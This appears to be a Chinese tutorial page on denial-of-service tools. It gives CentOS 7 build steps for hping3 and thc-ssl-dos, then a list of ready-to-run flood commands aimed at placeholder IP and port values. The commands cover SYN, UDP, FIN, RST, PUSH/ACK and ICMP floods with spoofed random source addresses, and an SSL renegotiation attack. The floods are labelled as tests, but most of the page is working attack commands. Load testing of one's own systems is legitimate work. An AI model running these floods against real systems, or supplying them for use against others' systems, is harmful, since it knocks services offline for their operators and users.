Skip to content

DoS与DDoS利用工具

hping3

hping3官网地址

Centos7安装hping3

# 安装依赖
yum install gcc.x86_64 libpcap-devel.x86_64 tcl-devel -y

# 下载安装包
wget http://www.hping.org/hping3-20051105.tar.gz
tar -xf hping3-20051105.tar.gz && cd hping3-20051105

# 编译安装
./configure
# 此时报错如下

hping3_1

# 修改文件,修改内容如图
vim bytesex.h

hping3_2

# 修改完成后,重新编译
./configure
make

# 此时报错如下

hping3_3

# 解决方案
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h

# 完成以后再次安装
make && make install

hping3使用案例

# 测试SYN Flood
hping3 -S --flood -V -p PORT IP
hping3 -c 20000 -d 120 -S -w 64 -p PORT --flood --rand-source IP # 随机源IP

# 测试UDP Flood
hping3 --flood --rand-source --udp -p PORT IP

# 测试TCP FIN Flood
hping3 --flood --rand-source -F -p PORT IP

# 测试TCP RST Flood
hping3 --flood --rand-source -R -p PORT IP

# 测试PUSH和ACK Flood
hping3 --flood --rand-source -PA -p PORT IP

# 测试ICMP和IGMP Flood
hping3 --flood --rand-source -1 -p PORT IP

Thc-SSL-DoS

thc-ssl-dos官网地址

Centos7安装Thc-SSL-DoS

# 解决环境依赖
yum install gcc.x86_64 openssl-devel.x86_64 -y

# 下载
git clone git://git.kali.org/packages/thc-ssl-dos.git && cd thc-ssl-dos

# 编译安装
./configure
make && make install

thc-ssl-dos使用案例

thc-ssl-dos -l 500 IP PORT --accept